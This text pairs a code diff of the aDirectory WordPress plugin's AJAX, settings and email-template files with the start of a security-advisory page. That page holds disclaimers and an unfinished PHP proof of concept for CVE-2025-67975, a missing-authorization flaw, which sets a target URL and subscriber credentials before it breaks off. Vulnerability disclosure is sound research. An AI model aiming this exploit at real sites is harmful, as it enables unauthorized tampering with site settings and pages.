+			add_action( 'wp_ajax_' . $this->prefix . '_' . $event, [ $this, $event ] );
+		}
+	}
+
+	/**
+	 * Checks if the user has the permission to perform the requested action and verifies the nonce.
+	 *
+	 * @param string $option The name of the option to check the nonce against.
+	 * @param string $scope The capability required to perform the action. Default is 'manage_options'.
+	 * @param string $security The security to check the nonce against. Default is 'security'.
+	 * @return void
+	 *
+	 * @since 2.5.0
+	 */
+	public function check_permission_nonce( $action, $capability = 'manage_options', $query_arg = 'security' ) {
+		$nonce = sanitize_text_field( wp_unslash( $_POST[ $query_arg ] ?? '' ) );
+
+		if ( ! wp_verify_nonce( $nonce, $action ) ) {
+			wp_send_json_error( [ 'message' => static::NONCE_ERROR ] );
+		}
+
+		if ( ! current_user_can( $capability ) ) {
+			wp_send_json_error( [ 'message' => static::PERMISSION_ERROR ] );
+		}
+	}
+
+	/**
+	 * Save setting - Sanitizes form inputs.
+	 *
+	 * @param array $input_settings setting data.
+	 * @return array    The sanitized form inputs.
+	 */
+	public function sanitize_form_inputs( $input_settings = [] ) {
+		$new_settings = [];
+
+		if ( ! empty( $input_settings ) ) {
+			foreach ( $input_settings as $key => $value ) {
+
+				$new_key = sanitize_text_field( $key );
+
+				if ( is_array( $value ) ) {
+					$new_settings[ $new_key ] = $this->sanitize_form_inputs( $value );
+				} else {
+					$new_settings[ $new_key ] = sanitize_text_field( $value );
+				}
+			}
+		}
+
+		return $new_settings;
+	}
+}
--- a/adirectory/inc/Admin/Ajax/Ajax_Loader.php
+++ b/adirectory/inc/Admin/Ajax/Ajax_Loader.php
@@ -1,34 +1,34 @@
-<?php
-namespace ADQS_DirectoryAdminAjax;
-
-// Exit if accessed directly.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-use ADQS_DirectoryAdminAjaxAjax_Setting;
-use ADQS_DirectoryAdminAjaxAjax_Listing;
-
-/**
- * Class Ajax_Loader.
- */
-class Ajax_Loader {
-
-	static $controllers = [];
-
-	public function __construct() {
-		$this->load_controllers();
-	}
-
-	public function load_controllers() {
-		$controllers = [
-			Ajax_Setting::class,
-			Ajax_Listing::class,
-		];
-
-		foreach ( $controllers as $controller ) {
-			static::$controllers[ $controller ] = $controller::get_instance();
-			static::$controllers[ $controller ]->init();
-		}
-	}
-}
+<?php
+namespace ADQS_DirectoryAdminAjax;
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+use ADQS_DirectoryAdminAjaxAjax_Setting;
+use ADQS_DirectoryAdminAjaxAjax_Listing;
+
+/**
+ * Class Ajax_Loader.
+ */
+class Ajax_Loader {
+
+	static $controllers = [];
+
+	public function __construct() {
+		$this->load_controllers();
+	}
+
+	public function load_controllers() {
+		$controllers = [
+			Ajax_Setting::class,
+			Ajax_Listing::class,
+		];
+
+		foreach ( $controllers as $controller ) {
+			static::$controllers[ $controller ] = $controller::get_instance();
+			static::$controllers[ $controller ]->init();
+		}
+	}
+}
--- a/adirectory/inc/Admin/Ajax/Ajax_Setting.php
+++ b/adirectory/inc/Admin/Ajax/Ajax_Setting.php
@@ -1,211 +1,211 @@
-<?php
-
-namespace ADQS_DirectoryAdminAjax;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-use ADQS_DirectoryAdminSetting;
-
-class Ajax_Setting extends Ajax_Base {
-
-
-	/**
-	 * Register_ajax_events.
-	 *
-	 * @return void
-	 */
-	protected function get_events(): array {
-		return [
-			'get_initial_settings',
-			'save_all_settings',
-			'gen_common_asset',
-			'gen_single_page',
-		];
-	}
-
-	public function save_all_settings() {
-		if ( ! check_ajax_referer( 'adqs___directory_admin', 'security', false ) ) {
-			wp_send_json_error( [ 'messsage' => static::NONCE_ERROR ] );
-		}
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( [ 'messsage' => static::PERMISSION_ERROR ] );
-		}
-
-		$settings = json_decode( stripslashes_deep( $_POST['settings'] ), true );
-
-		$old_value = get_option( 'adqs_admin_settings' );
-
-		if ( $settings === $old_value || maybe_serialize( $settings ) === maybe_serialize( $old_value ) ) {
-			wp_send_json_success(
-				[
-					'status'  => false,
-					'message' => esc_html__( 'Same value already exist', 'adirectory' ),
-				]
-			);
-		}
-
-		$update_settings = update_option( 'adqs_admin_settings', $settings );
-
-		if ( $update_settings ) {
-			wp_send_json_success(
-				[
-					'status'  => true,
-					'message' => esc_html__( 'Settings saved successfully', 'adirectory' ),
-				]
-			);
-		}
-
-		wp_send_json_error(
-			[
-				'status'  => false,
-				'message' => static::FALLBACK_ERROR,
-			]
-		);
-	}
-
-	public function gen_common_asset() {
-		$this->check_permission_nonce( 'adqs___directory_admin' );
-		$option_key    = 'adqs_onboarding_pages';
-		$existed_pages = get_option( $option_key, [] );
-
-		$insertPages = [
-			[
-				'post_title'   => esc_html__( 'All Listings', 'adirectory' ),
-				'post_content' => '[adqs_listings]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_all_listing',
-			],
-			[
-				'post_title'   => esc_html__( 'All Location', 'adirectory' ),
-				'post_content' => '[adqs_taxonomies tax_type="locations"]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_all_locations',
-			],
-			[
-				'post_title'   => esc_html__( 'All Categories', 'adirectory' ),
-				'post_content' => '[adqs_taxonomies tax_type="categories"]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_all_categories',
-			],
-			[
-				'post_title'   => esc_html__( 'Add Listing', 'adirectory' ),
-				'post_content' => '[adqs_add_listing]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_add_listing',
-			],
-			[
-				'post_title'   => esc_html__( 'User Dashboard', 'adirectory' ),
-				'post_content' => '[adqs_dashboard]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_user_dashboard',
-			],
-			[
-				'post_title'   => esc_html__( 'Login - Registration', 'adirectory' ),
-				'post_content' => '[adqs_user_log_regi]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_login_regi',
-			],
-			[
-				'post_title'   => esc_html__( 'All Agents', 'adirectory' ),
-				'post_content' => '[adqs_agents]',
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-				'page_key'     => 'adqs_agents',
-			],
-		];
-
-		$pageKeys = array_column( $insertPages, 'page_key' );
-
-		foreach ( $pageKeys as $key => $value ) {
-			if ( array_key_exists( $value, $existed_pages ) && ! get_post( $existed_pages[ $value ] ) !== null ) {
-				wp_delete_post( $existed_pages[ $value ] );
-			}
-		}
-
-		$allPages = [];
-
-		if ( is_array( $insertPages ) && ! empty( $insertPages ) ) {
-			foreach ( $insertPages as $insert ) {
-				$get_page_id = wp_insert_post(
-					[
-						'post_title'   => sprintf( esc_html__( '%s', 'adirectory' ), $insert['post_title'] ),
-						'post_content' => $insert['post_content'],
-						'post_status'  => $insert['post_status'],
-						'post_type'    => $insert['post_type'],
-					]
-				);
-				if ( ! empty( $get_page_id ) ) {
-					$allPages[ $insert['page_key'] ] = $get_page_id;
-				}
-			}
-		}
-		if ( ! empty( $allPages ) ) {
-			update_option( $option_key, array_merge( $existed_pages, $allPages ) );
-		}
-
-		wp_send_json_success( 'Success' );
-	}
-
-	public function gen_single_page() {
-		$this->check_permission_nonce( 'adqs___directory_admin' );
-		$option_key    = 'adqs_onboarding_pages';
-		$existed_pages = get_option( $option_key, [] );
-
-		$page_key     = sanitize_key( $_POST['page_key'] );
-		$page_title   = sanitize_text_field( $_POST['page_title'] );
-		$page_content = sanitize_text_field( $_POST['page_content'] );
-
-		if ( array_key_exists( $page_key, $existed_pages ) && ! get_post( $existed_pages[ $page_key ] ) !== null ) {
-			wp_delete_post( $existed_pages[ $page_key ] );
-		}
-
-		$pageid = wp_insert_post(
-			[
-				'post_title'   => $page_title,
-				'post_content' => "[$page_content]",
-				'post_status'  => 'publish',
-				'post_type'    => 'page',
-			]
-		);
-
-		$update = update_option( $option_key, array_merge( $existed_pages, [ $page_key => (int) $pageid ] ) );
-
-		if ( $update ) {
-			wp_send_json_success( 'Success' );
-		} else {
-			wp_send_json_error();
-		}
-	}
-
-	public function get_initial_settings() {
-		$this->check_permission_nonce( 'adqs___directory_admin' );
-
-		// $value = $this->check_post_value();
-		$options = is_array( get_option( 'adqs_admin_settings' ) ) ? get_option( 'adqs_admin_settings' ) : [];
-
-		$settings_nav    = Setting::get_settings_nav();
-		$settings_fields = Setting::get_settings_fields();
-
-		if ( $options ) {
-
-			wp_send_json_success(
-				[
-					'message'         => 'Settings fetched successfully',
-					'settings'        => $options,
-					'settings_nav'    => $settings_nav,
-					'settings_fields' => $settings_fields,
-					'directories'     => adqs_get_directories_available(),
-				]
-			);
-		}
-		wp_send_json_error( [ 'messsage' => static::FALLBACK_ERROR ] );
-	}
-}
+<?php
+
+namespace ADQS_DirectoryAdminAjax;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+use ADQS_DirectoryAdminSetting;
+
+class Ajax_Setting extends Ajax_Base {
+
+
+	/**
+	 * Register_ajax_events.
+	 *
+	 * @return void
+	 */
+	protected function get_events(): array {
+		return [
+			'get_initial_settings',
+			'save_all_settings',
+			'gen_common_asset',
+			'gen_single_page',
+		];
+	}
+
+	public function save_all_settings() {
+		if ( ! check_ajax_referer( 'adqs___directory_admin', 'security', false ) ) {
+			wp_send_json_error( [ 'messsage' => static::NONCE_ERROR ] );
+		}
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( [ 'messsage' => static::PERMISSION_ERROR ] );
+		}
+
+		$settings = json_decode( stripslashes_deep( $_POST['settings'] ), true );
+
+		$old_value = get_option( 'adqs_admin_settings' );
+
+		if ( $settings === $old_value || maybe_serialize( $settings ) === maybe_serialize( $old_value ) ) {
+			wp_send_json_success(
+				[
+					'status'  => false,
+					'message' => esc_html__( 'Same value already exist', 'adirectory' ),
+				]
+			);
+		}
+
+		$update_settings = update_option( 'adqs_admin_settings', $settings );
+
+		if ( $update_settings ) {
+			wp_send_json_success(
+				[
+					'status'  => true,
+					'message' => esc_html__( 'Settings saved successfully', 'adirectory' ),
+				]
+			);
+		}
+
+		wp_send_json_error(
+			[
+				'status'  => false,
+				'message' => static::FALLBACK_ERROR,
+			]
+		);
+	}
+
+	public function gen_common_asset() {
+		$this->check_permission_nonce( 'adqs___directory_admin' );
+		$option_key    = 'adqs_onboarding_pages';
+		$existed_pages = get_option( $option_key, [] );
+
+		$insertPages = [
+			[
+				'post_title'   => esc_html__( 'All Listings', 'adirectory' ),
+				'post_content' => '[adqs_listings]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_all_listing',
+			],
+			[
+				'post_title'   => esc_html__( 'All Location', 'adirectory' ),
+				'post_content' => '[adqs_taxonomies tax_type="locations"]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_all_locations',
+			],
+			[
+				'post_title'   => esc_html__( 'All Categories', 'adirectory' ),
+				'post_content' => '[adqs_taxonomies tax_type="categories"]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_all_categories',
+			],
+			[
+				'post_title'   => esc_html__( 'Add Listing', 'adirectory' ),
+				'post_content' => '[adqs_add_listing]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_add_listing',
+			],
+			[
+				'post_title'   => esc_html__( 'User Dashboard', 'adirectory' ),
+				'post_content' => '[adqs_dashboard]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_user_dashboard',
+			],
+			[
+				'post_title'   => esc_html__( 'Login - Registration', 'adirectory' ),
+				'post_content' => '[adqs_user_log_regi]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_login_regi',
+			],
+			[
+				'post_title'   => esc_html__( 'All Agents', 'adirectory' ),
+				'post_content' => '[adqs_agents]',
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+				'page_key'     => 'adqs_agents',
+			],
+		];
+
+		$pageKeys = array_column( $insertPages, 'page_key' );
+
+		foreach ( $pageKeys as $key => $value ) {
+			if ( array_key_exists( $value, $existed_pages ) && ! get_post( $existed_pages[ $value ] ) !== null ) {
+				wp_delete_post( $existed_pages[ $value ] );
+			}
+		}
+
+		$allPages = [];
+
+		if ( is_array( $insertPages ) && ! empty( $insertPages ) ) {
+			foreach ( $insertPages as $insert ) {
+				$get_page_id = wp_insert_post(
+					[
+						'post_title'   => sprintf( esc_html__( '%s', 'adirectory' ), $insert['post_title'] ),
+						'post_content' => $insert['post_content'],
+						'post_status'  => $insert['post_status'],
+						'post_type'    => $insert['post_type'],
+					]
+				);
+				if ( ! empty( $get_page_id ) ) {
+					$allPages[ $insert['page_key'] ] = $get_page_id;
+				}
+			}
+		}
+		if ( ! empty( $allPages ) ) {
+			update_option( $option_key, array_merge( $existed_pages, $allPages ) );
+		}
+
+		wp_send_json_success( 'Success' );
+	}
+
+	public function gen_single_page() {
+		$this->check_permission_nonce( 'adqs___directory_admin' );
+		$option_key    = 'adqs_onboarding_pages';
+		$existed_pages = get_option( $option_key, [] );
+
+		$page_key     = sanitize_key( $_POST['page_key'] );
+		$page_title   = sanitize_text_field( $_POST['page_title'] );
+		$page_content = sanitize_text_field( $_POST['page_content'] );
+
+		if ( array_key_exists( $page_key, $existed_pages ) && ! get_post( $existed_pages[ $page_key ] ) !== null ) {
+			wp_delete_post( $existed_pages[ $page_key ] );
+		}
+
+		$pageid = wp_insert_post(
+			[
+				'post_title'   => $page_title,
+				'post_content' => "[$page_content]",
+				'post_status'  => 'publish',
+				'post_type'    => 'page',
+			]
+		);
+
+		$update = update_option( $option_key, array_merge( $existed_pages, [ $page_key => (int) $pageid ] ) );
+
+		if ( $update ) {
+			wp_send_json_success( 'Success' );
+		} else {
+			wp_send_json_error();
+		}
+	}
+
+	public function get_initial_settings() {
+		$this->check_permission_nonce( 'adqs___directory_admin' );
+
+		// $value = $this->check_post_value();
+		$options = is_array( get_option( 'adqs_admin_settings' ) ) ? get_option( 'adqs_admin_settings' ) : [];
+
+		$settings_nav    = Setting::get_settings_nav();
+		$settings_fields = Setting::get_settings_fields();
+
+		if ( $options ) {
+
+			wp_send_json_success(
+				[
+					'message'         => 'Settings fetched successfully',
+					'settings'        => $options,
+					'settings_nav'    => $settings_nav,
+					'settings_fields' => $settings_fields,
+					'directories'     => adqs_get_directories_available(),
+				]
+			);
+		}
+		wp_send_json_error( [ 'messsage' => static::FALLBACK_ERROR ] );
+	}
+}
--- a/adirectory/inc/Admin/Ajax/index.php
+++ b/adirectory/inc/Admin/Ajax/index.php
@@ -1,2 +1,2 @@
-<?php
-// Be kind to everyone even if he is your enemy.
+<?php
+// Be kind to everyone even if he is your enemy.
--- a/adirectory/inc/Admin/Api.php
+++ b/adirectory/inc/Admin/Api.php
@@ -1,19 +1,19 @@
-<?php
-
-namespace ADQS_DirectoryAdmin;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-/**
- * Api handlers class
- */
-class Api {
-
-
-
-	/**
-	 * Class constructor
-	 */
-	function __construct() {}
-}
+<?php
+
+namespace ADQS_DirectoryAdmin;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
+}
+/**
+ * Api handlers class
+ */
+class Api {
+
+
+
+	/**
+	 * Class constructor
+	 */
+	function __construct() {}
+}
--- a/adirectory/inc/Admin/DefaultDatas.php
+++ b/adirectory/inc/Admin/DefaultDatas.php
@@ -1,480 +1,480 @@
-<?php
-
-namespace ADQS_DirectoryAdmin;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-/**
- * DefaultDatas handlers class
- */
-class DefaultDatas {
-
-
-
-	/**
-	 * Method builder
-	 *
-	 * @return array
-	 */
-	public static function builder() {
-		return [
-			[
-				'sectiontitle' => esc_html__( 'General Section', 'adirectory' ),
-				'id'           => '02652d5f-7374-43b5-be3d-8ad92345c11d',
-				'fields'       => [
-					[
-						'fieldid'     => '9c206ad8-8110-495b-82f8-40ff45bb92c5',
-						'input_type'  => 'pricing',
-						'label'       => esc_html__( 'Pricing', 'adirectory' ),
-						'name'        => esc_html__( 'Pricing', 'adirectory' ),
-						'placeholder' => esc_html__( 'Pricing placeholder', 'adirectory' ),
-						'is_required' => 1,
-					],
-					[
-						'fieldid'     => '90641e6c-d62d-4e36-af4c-77ecc34193f4',
-						'input_type'  => 'view_count',
-						'label'       => esc_html__( 'View Count', 'adirectory' ),
-						'name'        => esc_html__( 'View Count', 'adirectory' ),
-						'placeholder' => esc_html__( 'view count placeholder', 'adirectory' ),
-						'is_required' => 1,
-					],
-				],
-			],
-			[
-				'sectiontitle' => esc_html__( 'Contact Section', 'adirectory' ),
-				'id'           => '80dc2f81-fbe6-4b55-ad6c-7a9c04e1e639',
-				'fields'       => [
-					[
-						'fieldid'     => '607f0712-44a5-4379-92e6-598fb932c9af',
-						'input_type'  => 'phone',
-						'label'       => esc_html__( 'Phone', 'adirectory' ),
-						'name'        => esc_html__( 'Phone', 'adirectory' ),
-						'placeholder' => esc_html__( 'Enter phone number', 'adirectory' ),
-						'is_required' => 1,
-					],
-					[
-						'fieldid'     => 'e0b3572d-a708-4461-af7c-cc4386d43866',
-						'input_type'  => 'zip',
-						'label'       => esc_html__( 'Zip Code', 'adirectory' ),
-						'name'        => esc_html__( 'Zip Code', 'adirectory' ),
-						'placeholder' => esc_html__( 'Enter zip code', 'adirectory' ),
-					],
-					[
-						'fieldid'     => 'a66f663a-2465-4d42-a0ca-77463173fd41',
-						'input_type'  => 'website',
-						'label'       => esc_html__( 'Website', 'adirectory' ),
-						'name'        => esc_html__( 'Website', 'adirectory' ),
-						'placeholder' => esc_html__( 'Enter website url', 'adirectory' ),
-					],
-				],
-			],
-			[
-				'sectiontitle' => esc_html__( 'Map and Address', 'adirectory' ),
-				'id'           => 'ac1f4d3a-bca0-41fd-be1c-e6caf65649e7',
-				'fields'       => [
-					[
-						'fieldid'     => 'f45b3f63-1a9e-4143-b0a1-e9c8a3009988',
-						'input_type'  => 'address',
-						'label'       => esc_html__( 'Address', 'adirectory' ),
-						'name'        => esc_html__( 'Address', 'adirectory' ),
-						'placeholder' => esc_html__( 'Enter address', 'adirectory' ),
-						'is_required' => 1,
-					],
-					[
-						'fieldid'     => '4c50f6ff-cdc4-4b29-96df-50468aee20ef',
-						'input_type'  => 'map',
-						'label'       => esc_html__( 'Map', 'adirectory' ),
-						'name'        => esc_html__( 'Map', 'adirectory' ),
-						'placeholder' => esc_html__( 'Enter map', 'adirectory' ),
-						'is_required' => 1,
-					],
-				],
-			],
-			[
-				'sectiontitle' => esc_html__( 'Video', 'adirectory' ),
-				'id'           => '98d51901-c1a2-4a44-b9c6-51ad84e2a494',
-				'fields'       => [
-					[
-						'fieldid'     => '9d3c1b4e-29f0-42ed-8d2c-30cddaec8a77',
-						'input_type'  => 'video',
-						'label'       => esc_html__( 'Video', 'adirectory' ),
-						'name'        => esc_html__( 'Video', 'adirectory' ),
-						'placeholder' => esc_html__( 'Enter video url', 'adirectory' ),
-					],
-				],
-			],
-		];
-	}
-
-
-	public static function email_templates() {
-		return [
-			'admin' => [
-				'new_user_reg'         => [
-					'subject'   => 'A new user has registered',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>New User Registration</h1>
-								<p>A new user has just registered on your website.</p>
-								<p><strong>Username:</strong> {user_name}</p>
-								<p><strong>Email:</strong> {user_email}</p>
-								<p>Please review their details and take the necessary actions.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'new_listing_sub'      => [
-					'subject'   => 'A new listing has been submitted',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>New Listing Submitted</h1>
-								<p>A new listing has been submitted on your website.</p>
-								<p><strong>Listing Title:</strong> {listing_title}</p>
-								<p><strong>Submitted By:</strong> {user_name}</p>
-								<p>Please review the listing for approval.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'new_listing_up'       => [
-					'subject'   => 'A listing has been updated',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>Listing Updated</h1>
-								<p>A listing has been updated on your website.</p>
-								<p><strong>Listing Title:</strong> {listing_title}</p>
-								<p><strong>Updated By:</strong> {user_name}</p>
-								<p>Please review the changes.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'order_created'        => [
-					'subject'   => 'A new order has been created',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>New Order Created</h1>
-								<p>A new order has been placed on your website.</p>
-								<p>Order ID: <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong></p>
-								<p><strong>Customer:</strong> {customer_name}</p>
-								<p>Please process the order as soon as possible.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'order_completed'      => [
-					'subject'   => 'An order has been completed',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Order Completed</h1>
-								<p>An order has been completed on your website.</p>
-								<p>Order ID: <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong></p>
-								<p><strong>Customer:</strong> {customer_name}</p>
-								<p>Thank you for using our service.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'document_submitted'   => [
-					'subject'   => 'A new document has been submitted',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>Document Submitted</h1>
-								<p>A new document has been submitted for verification.</p>
-								<p><strong>Submitted By:</strong> {user_name}</p>
-								<p>Please review the document and verify it.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'new_review_submitted' => [
-					'subject'   => 'New review submitted for your listing',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>New Review Received</h1>
-								<p>A new review has been submitted for your listing.</p>
-								<p><strong>Listing Title:</strong> {listing_title}</p>
-								<p><strong>Reviewer:</strong> {reviewer_name}</p>
-								<p><strong>Rating:</strong> {review_rating}/5 stars</p>
-								<p><strong>Review:</strong> {review_content}</p>
-								<p><a href='{listing_url}' target='_blank'>View Listing</a></p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'new_reply_submitted'  => [
-					'subject'   => 'New reply to review on your listing',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>New Reply to Review</h1>
-								<p>A new reply has been posted to a review on your listing.</p>
-								<p><strong>Listing Title:</strong> {listing_title}</p>
-								<p><strong>Original Reviewer:</strong> {original_reviewer_name}</p>
-								<p><strong>Reply Author:</strong> {reply_author_name}</p>
-								<p><strong>Reply:</strong> {reply_content}</p>
-								<p><a href='{listing_url}' target='_blank'>View Listing</a></p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-
-			],
-			'user'  => [
-				'new_user_reg'         => [
-					'subject'   => 'Welcome to the website',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Welcome, {user_name}!</h1>
-								<p>Thank you for registering on our website.</p>
-								<a href='{reset_password}'>Reset Your Pasword</a>
-								<p>We are excited to have you with us. You can now start exploring and make the most of our services.</p>
-								<p>If you have any questions, feel free to reach out to our support team.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'new_listing_sub'      => [
-					'subject'   => 'Your listing has been submitted',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>Listing Submitted Successfully</h1>
-								<p>Thank you, {user_name}, for submitting your listing on our website.</p>
-								<p><strong>Listing Title:</strong> {listing_title}</p>
-								<p>Your listing is now under review. You will be notified once it is approved.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'listing_is_approved'  => [
-					'subject'   => 'Your listing has been approved',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Congratulations, {user_name}!</h1>
-								<p>Your listing titled '{listing_title}' has been approved.</p>
-								<p>It is now live on our website. We hope it brings you great success.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'listing_about_expire' => [
-					'subject'   => 'Your listing is about to expire',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>Listing Expiration Notice</h1>
-								<p>Dear {user_name}, your listing is about to expire on {expiry_data}.</p>
-								<p>Please renew your listing to continue its visibility on our website.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'listing_expired'      => [
-					'subject'   => 'Your listing has expired',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Listing Expired</h1>
-								<p>Dear {user_name}, your listing titled '{listing_title}' has expired.</p>
-								<p>If you would like to renew your listing, please visit your account dashboard.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'order_cancelled'      => [
-					'subject'   => 'Your Order Has Been Cancelled',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Order Cancelled</h1>
-								<p>Dear {customer_name},</p>
-								<p>We would like to inform you that your order with ID <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong> has been cancelled.</p>
-								<p>If this was a mistake or you have any questions, please contact our support team for assistance.</p>
-								<p>This is an automated message. Please do not reply to this email.</p>
-							</td>
-						</tr>",
-				],
-				'order_failed'         => [
-					'subject'   => 'Your Order Could Not Be Processed',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Order Failed</h1>
-								<p>Dear {customer_name},</p>
-								<p>We’re sorry, but your order with ID <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong> could not be processed.</p>
-								<p>This may have occurred due to a payment issue or an error during checkout.</p>
-								<p>Please try placing your order again or contact our support team for assistance.</p>
-								<p>This is an automated message. Please do not reply to this email.</p>
-							</td>
-						</tr>",
-				],
-				'order_pending'        => [
-					'subject'   => 'Your Order is Currently Pending',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Order Status: Pending</h1>
-								<p>Dear {customer_name},</p>
-								<p>Thank you for your order. Your order with ID <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong> is currently pending.</p>
-								<p>We are in the process of reviewing and preparing your order. You will receive another notification once it has been completed or shipped.</p>
-								<p>This is an automated message. Please do not reply to this email.</p>
-							</td>
-						</tr>",
-				],
-				'order_created'        => [
-					'subject'   => 'Your order has been received',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Order Confirmation</h1>
-								<p>Dear {customer_name}, your order has been received successfully.</p>
-								<p>Order ID: <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong></p>
-								<p>We are processing your order and will notify you once it is completed.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>",
-				],
-				'order_completed'      => [
-					'subject'   => 'Your Order is Complete',
-					'html_body' => "
-						<tr>
-							<td>
-								<h1>Order Completed</h1>
-								<p>Dear {customer_name},</p>
-								<p>We're happy to let you know that your order has been completed successfully.</p>
-								<p>Order ID: <strong><a href='{order_url}' target='_blank'>#{order_id}</a></strong></p>
-								<p>Thank you for your purchase! We hope you enjoy your product and look forward to serving you again.</p>
-								<p>This is an automated message. Please do not reply to this email.</p>
-							</td>
-						</tr>",
-				],
-				'document_verified'    => [
-					'subject'   => 'Your document has been verified',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>Document Verification Successful</h1>
-								<p>Dear {user_name}, your submitted document has been successfully verified.</p>
-								<p>You can now proceed with your listings and other activities on our website.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'document_rejected'    => [
-					'subject'   => 'Your document has been rejected',
-					'html_body' => '
-						<tr>
-							<td>
-								<h1>Document Verification Failed</h1>
-								<p>Dear {user_name}, unfortunately, your submitted document has been rejected.</p>
-								<p>Please review the reasons for rejection and resubmit your document.</p>
-								<p>This is an automated message, please do not reply.</p>
-							</td>
-						</tr>',
-				],
-				'new_review_submitted' => [
-					'subject'   => 'New review submitted for your listing',
-					'html_body' => "
-						<tr>
-							<td>
-								<

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67975 - aDirectory <= 3.0.3 - Missing Authorization

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Attacker credentials (Subscriber or higher)
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate to WordPress and obtain cookies/nonce.
// This PoC assumes the attacker already has a valid session cookie.
// For a full demonstration, a login sequence would be required.
// The exploit works with any authenticated session.

$ch = curl_init();

// Set target URL for the AJAX request
curl_setopt($ch, CURLOPT_URL, $target_url);
